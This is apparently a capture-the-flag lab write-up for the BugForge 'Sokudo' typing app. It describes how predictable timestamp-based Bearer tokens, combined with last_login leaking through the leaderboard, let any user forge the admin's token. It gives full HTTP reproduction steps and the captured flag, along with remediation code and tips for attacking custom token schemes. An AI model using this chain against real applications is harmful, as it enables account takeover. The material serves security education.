Sokudo: Predictable Bearer Token + Timestamp Leak via Leaderboard
Part 1 — Pentest Report
Executive Summary
Sokudo is a Japanese cyberpunk styled typing speed React + Express application served from BugForge. The application issues plaintext Bearer tokens (not JWT) in the format YYYYMMDDhhmmss derived from the user’s last_login. Combined with an information disclosure on GET /api/stats/leaderboard that returns every user’s last_login, any authenticated user can derive the admin’s currently valid token and access admin endpoints.
Testing confirmed 1 finding:
| ID | Title | Severity | CVSS | CWE | Endpoint |
|---|---|---|---|---|---|
| F1 | Predictable Bearer Token + Sensitive Timestamp Disclosure | Critical | 9.8 | CWE-330, CWE-200 | GET /api/stats/leaderboard, GET /api/admin/users |
The flag was retrieved by reading admin’s last_login from the leaderboard, formatting it into a 14 digit Bearer token, and calling GET /api/admin/users. The response delivered the flag in a top level flag key.
Objective
Capture the lab flag (BugForge bug{...} format) from the Sokudo typing app.
Scope / Initial Access
# Target Application
URL: https://lab-1777682082880-3666w2.labs-app.bugforge.io
# Auth details
Registration: POST /api/register {username, email, password, full_name}
Login: POST /api/login {username, password}
Token format: Authorization: Bearer YYYYMMDDhhmmss (derived from last_login)
Starting privileges: anonymous (registration is open)
Registration returns {token, user:{id, username, email, full_name}}. The token is a 14 digit string, not a JWT, and matches the user’s last_login truncated to seconds and formatted as UTC YYYYMMDDhhmmss.
Reconnaissance — Reading the Bundle and Comparing Tokens
Reconnaissance focused on the React bundle (/static/js/main.e43977d9.js, ~485KB) and the response shapes from registration. The bundle was unminified enough to recover endpoint paths and response key bindings; no source maps were exposed.
- The registration response token equals our own
last_logintruncated to seconds. Registeredhaxorat2026-05-02 00:35:05and received Bearer20260502003505. Token format hypothesis confirmed against data we controlled. GET /api/stats/leaderboardis callable by any authenticated user and returnslast_loginfor every user includingadmin. The value is ISO-8601 with millisecond precision; the second portion is what the token format consumes.- The bundle contained the UI binding
s(e.data.flag||"")adjacent to the/api/admin/usersfetch, indicating the flag is delivered as a top levelflagkey on a successful admin response. - Express
X-Powered-Byheader was present and not stripped, indicating minimal hardening.
Application Architecture
| Component | Detail |
|---|---|
| Backend | Node.js / Express (X-Powered-By header present) |
| Frontend | React SPA, Roboto Mono + Orbitron fonts |
| Auth | Bearer token in Authorization: Bearer YYYYMMDDhhmmss format (not JWT) |
| Database | Relational (sequential integer user IDs, SQL DATETIME timestamps) |
API Surface
| Endpoint | Method | Auth | Notes |
|---|---|---|---|
| /api/register | POST | none | Returns {token, user} |
| /api/login | POST | none | Returns {token, user} |
| /api/verify-token | GET | Bearer | Returns user including role |
| /api/session/start | POST | Bearer | Returns text + duration |
| /api/session/submit | POST | Bearer | Server computes wpm/accuracy from values supplied by the client |
| /api/session/history | GET | Bearer | Own sessions only |
| /api/stats | GET | Bearer | Own stats |
| /api/stats/leaderboard | GET | Bearer | Returns last_login for every user |
| /api/admin/users | GET | admin | Response body contains the flag in a flag key |
| /api/admin/sessions | GET | admin | Admin only |
Known Users
| Username | ID | Role | Notes |
|---|---|---|---|
| admin | <=3 | admin | Re-authenticates on a 30 minute interval |
| haxor | 4 | user | Test account registered for this engagement |
| speedtyper | <=3 | user | Never logged in (last_login null) |
| learner | <=3 | user | Never logged in (last_login null) |
Attack Chain Visualization
┌──────────────────────┐ ┌──────────────────────┐ ┌──────────────────────┐ ┌──────────────────────┐
│ 1. Register account │───▶│ 2. GET leaderboard │───▶│ 3. Format admin's │───▶│ 4. GET /admin/users │
│ │ │ │ │ │ │ │
│ POST /api/register │ │ Returns admin's │ │ last_login → │ │ Authorization: │
│ Our token = │ │ last_login │ │ YYYYMMDDhhmmss │ │ Bearer <admin-token> │
│ our last_login → │ │ (re-fetch right │ │ = admin's active │ │ → 200 OK │
│ YYYYMMDDhhmmss │ │ before forging) │ │ Bearer token │ │ {flag: "bug{...}"} │
└──────────────────────┘ └──────────────────────┘ └──────────────────────┘ └──────────────────────┘
Findings
F1 — Predictable Bearer Token + Sensitive Timestamp Disclosure
Severity: Critical
CVSS v3.1: 9.8 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-330 (Use of Insufficiently Random Values), CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor)
Endpoint: GET /api/stats/leaderboard (disclosure), GET /api/admin/users (target)
Authentication required: Yes (any registered user; registration is open)
Description
Two compounding defects allow any user to take over the admin role with one chained request.
- Bearer tokens are not random. The token issued at login or registration is the user’s
last_loginformatted asYYYYMMDDhhmmss(UTC, truncated to seconds). Confirmed by registeringhaxorat2026-05-02 00:35:05and receiving Bearer20260502003505. GET /api/stats/leaderboardis callable by any authenticated user and returnslast_loginfor every user includingadmin. Combined with the token format above, any user can derive admin’s currently valid Bearer token.
Admin re-authenticates on a 30 minute interval (observed at :34:44 and :04:44), which rotates admin’s Bearer token. The leaderboard fetch must be performed immediately before forging the token to ensure the value is the latest one.
Impact
Full takeover of the admin role from an unauthenticated starting position. Grants access to admin endpoints and the lab flag.
Reproduction
Step 1 — Register a throwaway account
POST /api/register HTTP/1.1
Host: lab-1777682082880-3666w2.labs-app.bugforge.io
Content-Type: application/json
{"username":"haxor","email":"[email protected]","password":"password","full_name":""}
Response: 200 OK with {"token":"20260502003505","user":{"id":4,"username":"haxor",...}}. The token equals our last_login (2026-05-02 00:35:05) formatted as YYYYMMDDhhmmss. Token format confirmed against data we controlled.
Step 2 — Read admin’s last_login from the leaderboard
GET /api/stats/leaderboard HTTP/1.1
Host: lab-1777682082880-3666w2.labs-app.bugforge.io
Authorization: Bearer 20260502003505
Response: 200 OK with leaderboard array including {"username":"admin","last_login":"2026-05-02T01:04:44.183Z",...}. Admin’s last_login is exposed at millisecond precision.
Step 3 — Forge admin’s Bearer token
Take admin’s last_login value 2026-05-02T01:04:44.183Z, drop the milliseconds, and reformat to 20260502010444. No signing, no secret, no cracking required.
Step 4 — Call the admin endpoint with the forged token
GET /api/admin/users HTTP/1.1
Host: lab-1777682082880-3666w2.labs-app.bugforge.io
Authorization: Bearer 20260502010444
Response: 200 OK with {"users":[...],"flag":"bug{7hnLh9NdVUpXV6bcjWs6XdMyNTngFH9x}"}. Flag delivered in the top level flag key.
Remediation
Fix 1 — Replace the predictable token with a cryptographically random session identifier
// BEFORE (Vulnerable)
const token = formatTimestamp(user.last_login); // "20260502010444"
res.json({ token, user });
// AFTER (Secure)
const crypto = require('crypto');
const token = crypto.randomBytes(32).toString('hex');
await sessionStore.set(token, {
userId: user.id,
expiresAt: Date.now() + SESSION_TTL_MS,
});
res.json({ token, user: publicUserFields(user) });
Fix 2 — Stop returning last_login on the leaderboard
// BEFORE (Vulnerable)
const rows = await db.query(`
SELECT username, best_wpm, total_sessions, avg_wpm, last_login
FROM users ORDER BY best_wpm DESC LIMIT 10
`);
res.json(rows);
// AFTER (Secure)
const rows = await db.query(`
SELECT username, best_wpm, total_sessions, avg_wpm
FROM users ORDER BY best_wpm DESC LIMIT 10
`);
res.json(rows);
Additional recommendations:
- Bind tokens to user IDs server side via a sessions table so deriving someone else’s session ID is impossible even if the token format is leaked.
- Audit every authenticated response for fields that expose internal state (
last_login,created_at, internal IDs, role names) and apply a deny by default output filter. - Add rate limiting on
/api/admin/*so a sweep of candidate tokens (the original failed sweep here was 11 requests within seconds) is throttled or alerted on.
OWASP Top 10 Coverage
- A07:2021 — Identification and Authentication Failures: The session identifier is derived deterministically from a timestamp on the user record, which fails the OWASP requirement that session identifiers be unpredictable.
- A01:2021 — Broken Access Control: Admin authorization on
/api/admin/usersworks as intended (it checks the role bound to the token), but the token itself is forgeable, which collapses the access control. - A04:2021 — Insecure Design: The token format and the leaderboard payload were each defensible in isolation; their combination is the design flaw. Leaking
last_loginis only sensitive because the token scheme makes it so.
Tools Used
| Tool | Purpose |
|---|---|
| Caido | Request replay and inspection |
| curl | Token sweep and final exploit chain |
| Browser DevTools | Bundle reading (/static/js/main.e43977d9.js) |
References
- CWE-330: https://cwe.mitre.org/data/definitions/330.html
- CWE-200: https://cwe.mitre.org/data/definitions/200.html
- OWASP A07:2021 Identification and Authentication Failures: https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/
Part 2 — Notes / Knowledge
Key Learnings
-
Custom bearer tokens often encode account attributes. Compare the token to data you control before assuming it’s opaque. When a service rolls its own bearer scheme instead of reaching for JWT or random session strings, the format almost always leaks design intent, because the developer was solving a specific problem (token must be deterministic, must be derivable from the user record, must encode the role). Registration is the best probe surface for this: the response gives you both halves of the cipher in one call, the input (your user record) and the output (your token). Length is the first tell. 14 digits looks like
YYYYMMDDhhmmss, 13 like millisecond epoch, 24 like base64 of a UUID, 32 like a hex SHA-1. Character set is the second. If the format resolves to a function of attributes you already have, you have a derivation attack on every user whose source attributes leak anywhere else in the API. -
Treat the format as permanent knowledge and the source value as volatile. Once you’ve worked out a derivation, the format won’t change between recon and exploitation, but the source value can. The classic failure is reading a leaked value during recon, working out the format, then forging from the cached value half an hour later. The token comes back invalid and you start doubting the format you just confirmed. The fix is procedural: the last request before the forge attempt should be a fresh fetch of the source value. Applies anywhere you forge from a leaked value with a lifetime, including session tokens, CSRF tokens read from one page and used on another, password reset codes with TTLs, OAuth state values, and signed URLs.
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
First admin token sweep using a stale leaderboard last_login (admin’s 00:34:44.128Z, ±5s sweep …003439–…003449) |
All 11 candidates returned 403 with {"error":"Invalid token"} |
Admin’s session had rotated. Admin re-authenticates on a 30 minute interval and the previous token was invalidated. The format hypothesis was correct; the value was stale. |
Mass assignment role:"admin" on POST /api/register |
Not exercised | Predictable token chain succeeded first. Worth a one shot probe in a future revisit; the React register form did not hardcode role in initial state, which is a weaker BugForge platform tell than the 2026-04-29 Tanuki lab where it did. |
Direct GET /api/admin/users with our regular user Bearer |
Not exercised | Inferred ruled out by symmetry. Admin’s forged token returned 200, so the authorization layer reads the role bound to the token. Cheap to confirm if needed. |
Score manipulation via /api/session/submit |
Not exercised for flag retrieval | Server computes wpm/accuracy from textGenerated/userInput/timeElapsed supplied by the client, so leaderboard rank is forgeable. Separate logic flaw, not on the flag path. |
Tags: #bugforge #webapp #broken-authentication #predictable-token #information-disclosure #cwe-330 #cwe-200
Document Version: 1.0
Last Updated: 2026-05-02